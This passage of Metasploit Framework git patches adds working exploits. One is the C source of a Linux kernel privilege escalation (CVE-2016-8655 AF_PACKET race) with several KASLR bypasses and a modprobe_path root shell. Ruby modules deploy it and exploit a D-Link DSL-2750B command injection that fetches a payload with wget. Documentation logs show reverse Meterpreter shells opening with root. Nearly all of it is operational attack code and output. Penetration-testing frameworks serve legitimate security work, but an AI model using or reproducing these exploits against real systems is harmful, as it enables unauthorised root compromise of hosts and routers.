dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off); + } + + + if (val == TPACKET_V1 && off != 0) { + dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n"); + } else { + dprintf("[-] race not won\n"); + exit(2); + } + + munmap(pbd, tp.tp_block_size * tp.tp_block_nr); + + pthread_create(&a, NULL, verification_func, (void *)NULL); + + dprintf("\n"); + dprintf("[!] please wait up to a few minutes for timer to be executed.\n"); + dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n"); + dprintf("\n"); + + sleep(1); + dprintf("[.] closing socket and verifying...\n"); + + close(sfd); + + kmalloc(); + + dprintf("[.] all messages sent\n"); + + sleep(31337); + exit(1); +} + +int verification_result = 0; + +void catch_sigsegv(int sig) +{ + verification_result = 0; + pthread_exit((void *)1); +} + +void *modify_vsyscall(void *arg) +{ + unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850); + unsigned long x = (unsigned long)arg; + + sigset_t set; + sigemptyset(&set); + sigaddset(&set, SIGSEGV); + + if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) { + dprintf("[-] couldn't set sigmask\n"); + exit(EXIT_FAILURE); + } + + signal(SIGSEGV, catch_sigsegv); + + *vsyscall = 0xdeadbeef+x; + + if (*vsyscall == 0xdeadbeef+x) { + dprintf("[~] vsyscall page altered!\n"); + verification_result = 1; + pthread_exit(0); + } + + return NULL; +} + +void verify_stage1(void) +{ + pthread_t v_thread; + + sleep(5); + + int x; + for(x = 0; x < 300; x++) { + + pthread_create(&v_thread, NULL, modify_vsyscall, 0); + + pthread_join(v_thread, NULL); + + if(verification_result == 1) { + exit(0); + } + + write(2,".",1); + sleep(1); + } + + dprintf("[-] could not modify vsyscall\n"); + exit(EXIT_FAILURE); +} + +void verify_stage2(void) +{ + struct stat b; + + sleep(5); + + int x; + for(x = 0; x < 300; x++) { + + if (stat(SYSCTL_PATH, &b) == 0) { + dprintf("[~] sysctl added!\n"); + exit(0); + } + + write(2,".",1); + sleep(1); + } + + dprintf("[-] could not add sysctl\n"); + exit(EXIT_FAILURE); +} + +void exploit(unsigned long func, unsigned long arg, void *verification_func) +{ + int status; + int pid; + +retry: + + pid = fork(); + + if (pid == 0) { + try_exploit(func, arg, verification_func); + exit(1); + } + + wait(&status); + + dprintf("\n"); + + if (WEXITSTATUS(status) == 2) { + dprintf("[.] retrying stage...\n"); + kill(pid, 9); + sleep(2); + goto retry; + } + + if (WEXITSTATUS(status) != 0) { + dprintf("[-] something bad happened, aborting exploit attempt\n"); + exit(EXIT_FAILURE); + } + + kill(pid, 9); +} + + +void wrapper(void) +{ + struct ctl_table *c; + + dprintf("[.] making vsyscall page writable...\n\n"); + + exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1); + + dprintf("[~] done, stage 1 completed\n"); + + sleep(5); + + dprintf("[.] registering new sysctl...\n\n"); + + c = (struct ctl_table *)(VSYSCALL+0x850); + + memset((char *)(VSYSCALL+0x850), '\x00', 1952); + + strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME); + memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4); + c->procname = (char *)(VSYSCALL+0xf00); + c->mode = 0666; + c->proc_handler = (void *)(PROC_DOSTRING); + c->data = (void *)(MODPROBE_PATH); + c->maxlen = 256; + c->extra1 = (void *)(VSYSCALL+0xe00); + c->extra2 = (void *)(VSYSCALL+0xd00); + + exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2); + + dprintf("[~] done, stage 2 completed\n"); +} + +// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * + +void check_procs() { + int min_procs = 2; + + int nprocs = 0; + nprocs = get_nprocs_conf(); + + if (nprocs < min_procs) { + dprintf("[-] system has less than %d processor cores\n", min_procs); + exit(EXIT_FAILURE); + } + + dprintf("[.] system has %d processor cores\n", nprocs); +} + +struct utsname get_kernel_version() { + struct utsname u; + int rv = uname(&u); + if (rv != 0) { + dprintf("[-] uname())\n"); + exit(EXIT_FAILURE); + } + return u; +} + +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) + +void detect_versions() { + struct utsname u; + char kernel_version[512]; + + u = get_kernel_version(); + + if (strstr(u.machine, "64") == NULL) { + dprintf("[-] system is not using a 64-bit kernel\n"); + exit(EXIT_FAILURE); + } + + if (strstr(u.version, "-Ubuntu") == NULL) { + dprintf("[-] system is not using an Ubuntu kernel\n"); + exit(EXIT_FAILURE); + } + + char *u_ver = strtok(u.version, " "); + snprintf(kernel_version, 512, "%s %s", u.release, u_ver); + + int i; + for (i = 0; i < ARRAY_SIZE(kernels); i++) { + if (strcmp(kernel_version, kernels[i].kernel_version) == 0) { + dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version); + kernel = i; + return; + } + } + + dprintf("[-] kernel version not recognized\n"); + exit(EXIT_FAILURE); +} + +// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * + +#define SYSLOG_ACTION_READ_ALL 3 +#define SYSLOG_ACTION_SIZE_BUFFER 10 + +bool mmap_syslog(char** buffer, int* size) { + *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); + if (*size == -1) { + dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); + return false; + } + + *size = (*size / getpagesize() + 1) * getpagesize(); + *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); + if (*size == -1) { + dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); + return false; + } + + return true; +} + +unsigned long get_kernel_addr_trusty(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) return 0; + + int start = 0; + int end = 0; + for (end = start; substr[end] != '-'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) return 0; + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xffffffffff000000ul; + + return r; +} + +unsigned long get_kernel_addr_xenial(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) { + return 0; + } + + int start = 0; + int end = 0; + for (start = 0; substr[start] != '-'; start++); + for (end = start; substr[end] != '\n'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) { + return 0; + } + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xfffffffffff00000ul; + r -= 0x1000000ul; + + return r; +} + +unsigned long get_kernel_addr_syslog() { + unsigned long addr = 0; + char* syslog; + int size; + + dprintf("[.] trying syslog...\n"); + + if (!mmap_syslog(&syslog, &size)) + return 0; + + if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL) + addr = get_kernel_addr_trusty(syslog, size); + else + addr = get_kernel_addr_xenial(syslog, size); + + if (!addr) + dprintf("[-] kernel base not found in syslog\n"); + + return addr; +} + +// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_kallsyms() { + FILE *f; + unsigned long addr = 0; + char dummy; + char sname[256]; + char* name = "startup_64"; + char* path = "/proc/kallsyms"; + + dprintf("[.] trying %s...\n", path); + f = fopen(path, "r"); + if (f == NULL) { + dprintf("[-] open/read(%s)\n", path); + return 0; + } + + int ret = 0; + while (ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fclose(f); + return addr; + } + } + + fclose(f); + dprintf("[-] kernel base not found in %s\n", path); + return 0; +} + +// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_sysmap() { + FILE *f; + unsigned long addr = 0; + char path[512] = "/boot/System.map-"; + char version[32]; + + struct utsname u; + u = get_kernel_version(); + strcat(path, u.release); + dprintf("[.] trying %s...\n", path); + f = fopen(path, "r"); + if (f == NULL) { + dprintf("[-] open/read(%s)\n", path); + return 0; + } + + char dummy; + char sname[256]; + char* name = "startup_64"; + int ret = 0; + while (ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fclose(f); + return addr; + } + } + + fclose(f); + dprintf("[-] kernel base not found in %s\n", path); + return 0; +} + +// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_mincore() { + unsigned char buf[getpagesize()/sizeof(unsigned char)]; + unsigned long iterations = 20000000; + unsigned long addr = 0; + + dprintf("[.] trying mincore info leak...\n"); + /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ + if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, + MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { + dprintf("[-] mmap()\n"); + return 0; + } + + int i; + for (i = 0; i <= iterations; i++) { + /* Touch a mishandle with this type mapping */ + if (mincore((void*)0x86000000, 0x1000000, buf)) { + dprintf("[-] mincore()\n"); + return 0; + } + + int n; + for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { + addr = *(unsigned long*)(&buf[n]); + /* Kernel address space */ + if (addr > 0xffffffff00000000) { + addr &= 0xffffffffff000000ul; + if (munmap((void*)0x66000000, 0x20000000000)) + dprintf("[-] munmap()\n"); + return addr; + } + } + } + + if (munmap((void*)0x66000000, 0x20000000000)) + dprintf("[-] munmap()\n"); + + dprintf("[-] kernel base not found in mincore info leak\n"); + return 0; +} + +// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * + +unsigned long get_kernel_addr() { + unsigned long addr = 0; + + addr = get_kernel_addr_kallsyms(); + if (addr) return addr; + + addr = get_kernel_addr_sysmap(); + if (addr) return addr; + + addr = get_kernel_addr_syslog(); + if (addr) return addr; + + addr = get_kernel_addr_mincore(); + if (addr) return addr; + + dprintf("[-] KASLR bypass failed\n"); + exit(EXIT_FAILURE); + + return 0; +} + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * + +void launch_rootshell(void) +{ + int fd; + char buf[256]; + struct stat s; + + fd = open(SYSCTL_PATH, O_WRONLY); + + if(fd == -1) { + dprintf("[-] could not open %s\n", SYSCTL_PATH); + exit(EXIT_FAILURE); + } + + memset(buf, '\x00', 256); + + readlink("/proc/self/exe", (char *)&buf, 256); + + write(fd, buf, strlen(buf)+1); + + socket(AF_INET, SOCK_STREAM, 132); + + if (stat(buf,&s) == 0 && s.st_uid == 0) { + dprintf("[+] binary executed by kernel, launching rootshell\n"); + lseek(fd, 0, SEEK_SET); + write(fd, "/sbin/modprobe", 15); + close(fd); + execl(buf, buf, NULL); + } else { + dprintf("[-] could not create rootshell\n"); + exit(EXIT_FAILURE); + } +} + +void setup_sandbox() { + if (unshare(CLONE_NEWUSER) != 0) { + dprintf("[-] unshare(CLONE_NEWUSER)\n"); + exit(EXIT_FAILURE); + } + + if (unshare(CLONE_NEWNET) != 0) { + dprintf("[-] unshare(CLONE_NEWNET)\n"); + exit(EXIT_FAILURE); + } +} + +int main(int argc, char **argv) +{ + int status, pid; + struct utsname u; + char buf[512], *f; + + if (getuid() == 0 && geteuid() == 0) { + chown("/proc/self/exe", 0, 0); + chmod("/proc/self/exe", 06755); + exit(0); + } + + if (getuid() != 0 && geteuid() == 0) { + setresuid(0, 0, 0); + setresgid(0, 0, 0); + execl("/bin/bash", "bash", "-p", NULL); + exit(0); + } + + dprintf("linux AF_PACKET race condition exploit by rebel\n"); + + dprintf("[.] starting\n"); + + dprintf("[.] checking hardware\n"); + check_procs(); + dprintf("[~] done, hardware looks good\n"); + + dprintf("[.] checking kernel version\n"); + detect_versions(); + dprintf("[~] done, version looks good\n"); + +#if ENABLE_KASLR_BYPASS + dprintf("[.] KASLR bypass enabled, getting kernel base address\n"); + KERNEL_BASE = get_kernel_addr(); + dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE); +#endif + + dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING); + dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH); + dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE); + dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW); + + pid = fork(); + if (pid == 0) { + dprintf("[.] setting up namespace sandbox\n"); + setup_sandbox(); + dprintf("[~] done, namespace sandbox set up\n"); + wrapper(); + exit(0); + } + + waitpid(pid, &status, 0); + + launch_rootshell(); + return 0; +} diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb new file mode 100644 index 0000000000..b5a4dd78fd --- /dev/null +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -0,0 +1,193 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AF_PACKET chocobo_root Privilege Escalation', + 'Description' => %q{ + This module exploits a race condition and use-after-free in the + packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in + the Linux kernel to execute code as root (CVE-2016-8655). + + The bug was initially introduced in 2011 and patched in 2016 in version + 4.4.0-53.74, potentially affecting a large number of kernels; however + this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels + 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as + Linux Mint. + + The target system must have unprivileged user namespaces enabled and + two or more CPU cores. + + Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation + may crash the kernel. + + This module has been tested successfully on Linux Mint 17.3 (x86_64); + Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel + versions 4.4.0-45-generic and 4.4.0-51-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rebel', # Discovery and chocobo_root.c exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Aug 12 2016', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'chocobo_root.c' ], + [ 'EDB', '40871' ], + [ 'CVE', '2016-8655' ], + [ 'BID', '94692' ], + [ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ], + [ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ], + [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ], + [ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ], + [ 'URL', 'https://usn.ubuntu.com/3151-1/' ], + [ 'URL', 'https://www.securitytracker.com/id/1037403' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ] + ], + 'DefaultTarget' => 0)) + register_options [ + OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + ] + end + + def timeout + datastore['TIMEOUT'].to_i + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + output = cmd_exec "gcc -o #{path} #{path}.c -lpthread" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + cmd_exec "chmod +x #{path}" + register_file_for_cleanup path + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + version = kernel_release + unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/ + vprint_error "Linux kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Linux kernel version #{version} is vulnerable" + + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + cores = get_cpu_info[:cores].to_i + min_required_cores = 2 + unless cores >= min_required_cores + vprint_error "System has less than #{min_required_cores} CPU cores" + return CheckCode::Safe + end + vprint_good "System has #{cores} CPU cores" + + unless userns_enabled? + vprint_error 'Unprivileged user namespaces are not permitted' + return CheckCode::Safe + end + vprint_good 'Unprivileged user namespaces are permitted' + + CheckCode::Appears + end + + def exploit + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('chocobo_root.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx executable_path, exploit_data('chocobo_root') + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status "Launching exploit (Timeout: #{timeout})..." + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end From 4574de76e7b72f4efc6062448ff3f312487e4eb4 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 7 May 2018 07:11:42 +0000 Subject: [PATCH 05/41] Add documentation --- .../local/af_packet_chocobo_root_priv_esc.md | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md new file mode 100644 index 0000000000..cb6ea4dbb5 --- /dev/null +++ b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md @@ -0,0 +1,93 @@ +## Description + + This module exploits a race condition and use-after-free in the + `packet_set_ring` function in `net/packet/af_packet.c` (`AF_PACKET`) in + the Linux kernel to execute code as `root` (CVE-2016-8655). + + The bug was initially introduced in 2011 and patched in 2016 in version + 4.4.0-53.74, potentially affecting a large number of kernels; however + this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels + 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as + Linux Mint. + + The target system must have unprivileged user namespaces enabled and + two or more CPU cores. + + Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation + may crash the kernel. + + +## Vulnerable Application + + This module has been tested successfully on: + + * Linux Mint 17.3 (x86_64) + * Linux Mint 18 (x86_64) + * Ubuntu 16.04.2 (x86_64) + + With kernel versions: + + * 4.4.0-45-generic + * 4.4.0-51-generic + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/af_packet_chocobo_root_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + **TIMEOUT** + + Race timeout (seconds). (default: `600`) + + **COMPILE** + + Options: `Auto` `True` `False` (default: `Auto`) + + Whether the exploit should be live compiled with `gcc` on the target system, + or uploaded as a pre-compiled binary. + + `Auto` will first determine if `gcc` is installed to compile live on the system, + and fall back to uploading a pre-compiled binary. + + +## Scenarios + + ``` + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ... + [*] Writing '/tmp/.rMIvkKT' (207 bytes) ... + [*] Launching exploit (Timeout: 600)... + [*] Sending stage (853256 bytes) to 172.16.191.209 + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.209:38530) at 2018-05-07 03:07:21 -0400 + [+] Deleted /tmp/.iDLrwN3S4.c + [+] Deleted /tmp/.iDLrwN3S4 + [+] Deleted /tmp/.rMIvkKT + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.209 + OS : Ubuntu 16.04 (Linux 4.4.0-51-generic) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + From 2331a610d6f4babb107fb8be6ee593afbe91653c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 7 May 2018 07:15:17 +0000 Subject: [PATCH 06/41] Update documentation --- .../exploit/linux/local/af_packet_chocobo_root_priv_esc.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md index cb6ea4dbb5..7549e64a95 100644 --- a/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md +++ b/documentation/modules/exploit/linux/local/af_packet_chocobo_root_priv_esc.md @@ -70,6 +70,10 @@ ## Scenarios ``` + msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc + msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ... [*] Writing '/tmp/.rMIvkKT' (207 bytes) ... From c3ad02121c1068746f1804fd983bc15683b6da41 Mon Sep 17 00:00:00 2001 From: lucyoa Date: Sun, 13 May 2018 13:58:35 -0400 Subject: [PATCH 07/41] Exploit for D-Link DSL2750B OS Command Injection vulnerability --- .../linux/http/dlink_dsl2750b_exec_noauth.rb | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb diff --git a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb new file mode 100644 index 0000000000..1ab56e4b42 --- /dev/null +++ b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DSL-2750B OS Command Injection', + 'Description' => %q{ + This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices. + Vulnerability can be exploited through "cli" parameter that is directly used to invoke + "ayecli" binary. + }, + 'Author' => + [ + 'p@ql', # vulnerability discovery + 'Marcin Bury ' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['PACKETSTORM', 135706], + ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'], + ], + 'Targets' => + [ + [ 'Linux mipsbe Payload', + { + 'Arch' => ARCH_MIPSBE, + 'Platform' => 'linux' + } + ], + [ 'Linux mipsel Payload', + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + ], + 'DisclosureDate' => 'Feb 5 2016', + 'DefaultTarget' => 0)) + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/ayefeaturesconvert.js' + }) + + if res && [200].include?(res.code) && res.body =~ /DSL-2750/ && res.body =~ /var AYECOM_FWVER="(\d.\d+)";/ + version = $1 + if version >= "1.01" and version <= "1.03" + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def execute_command(cmd, opts) + begin + path = "/login.cgi?cli=multilingual show';#{cmd}'$".gsub(/ /, "%20").gsub(/&/, "%26") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => path, + }, 5) + + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server") + end + end + + def exploit + print_status("#{peer} Checking target version...") + + unless check == Exploit::CheckCode::Appears + return + end + + execute_cmdstager( + :flavor => :wget, + :linemax => 200 + ) + end +end From 382364a3ffdabf8dbdc0f43576a0e6ca4b819b19 Mon Sep 17 00:00:00 2001 From: lucyoa Date: Sun, 13 May 2018 15:04:40 -0400 Subject: [PATCH 08/41] Adding documentation, improving description --- .../linux/http/dlink_dsl2750b_exec_noauth.md | 61 +++++++++++++++++++ .../linux/http/dlink_dsl2750b_exec_noauth.rb | 2 +- 2 files changed, 62 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md diff --git a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md new file mode 100644 index 0000000000..ca1d1bc128 --- /dev/null +++ b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md @@ -0,0 +1,61 @@ +This module dlink_dsl2750b_exec_noauth exploits unauthenticated command injection vulnerability through "cli" parameter. +Vulnerable firmwares are 1.01 up to 1.03. + +## Vulnerable Application + + 1. Start msfconsole + 2. Do : `use exploit/linux/http/dlink_dsl2750b_exec_noauth` + 3. Do : `set RHOST [RouterIP]` + 4. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp` + 5. Do : `run` + 6. If router is vulnerable, payload should be dropped via wget method and executed giving us meterpreter session + + +## Example + +``` +msf5 > use exploit/linux/http/dlink_dsl2750b_exec_noauth +msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set RHOST 192.168.1.1 +RHOST => 192.168.1.1 +msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp +PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp +msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LHOST eth0 +LHOST => eth0 +msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555 +LPORT => 5555 +msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run + +[*] Started reverse TCP handler on 192.168.1.6:5555 +[*] 192.168.1.1:80 Checking target version... +[*] Using URL: http://0.0.0.0:8080/V9GiueD0WW +[*] Local IP: http://192.168.1.6:8080/V9GiueD0WW +[*] Client 192.168.1.1 (Wget) requested /V9GiueD0WW +[*] Sending payload to 192.168.1.1 (Wget) +[*] Sending stage (1104216 bytes) to 192.168.1.1 +[*] Meterpreter session 18 opened (192.168.1.6:5555 -> 192.168.1.1:37259) at 2018-05-13 14:58:08 -0400 +[*] Command Stager progress - 100.00% done (114/114 bytes) +[*] Server stopped. + +meterpreter > ls -la +Listing: / +========== + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +40755/rwxr-xr-x 2554 dir 2013-03-11 07:27:09 -0400 bin +40755/rwxr-xr-x 3 dir 2013-03-11 07:27:54 -0400 data +40755/rwxr-xr-x 2482 dir 2013-03-11 07:27:56 -0400 dev +40755/rwxr-xr-x 779 dir 2013-03-11 07:27:55 -0400 etc +40755/rwxr-xr-x 690 dir 2013-03-11 07:27:55 -0400 lib +100755/rwxr-xr-x 287124 fil 2013-03-11 07:27:55 -0400 linuxrc +40755/rwxr-xr-x 0 dir 1969-12-31 19:00:01 -0500 mnt +40755/rwxr-xr-x 56 dir 2013-03-11 07:13:15 -0400 opt +40555/r-xr-xr-x 0 dir 1969-12-31 19:00:00 -0500 proc +40755/rwxr-xr-x 270 dir 2013-03-11 07:25:43 -0400 sbin +40755/rwxr-xr-x 0 dir 1969-12-31 19:00:00 -0500 sys +40755/rwxr-xr-x 0 dir 2016-10-07 17:20:39 -0400 tmp +40755/rwxr-xr-x 38 dir 2013-03-11 07:23:32 -0400 usr +40755/rwxr-xr-x 0 dir 2016-10-07 17:16:34 -0400 var +40755/rwxr-xr-x 2801 dir 2013-03-11 07:26:34 -0400 webs + +``` diff --git a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb index 1ab56e4b42..9941b150d0 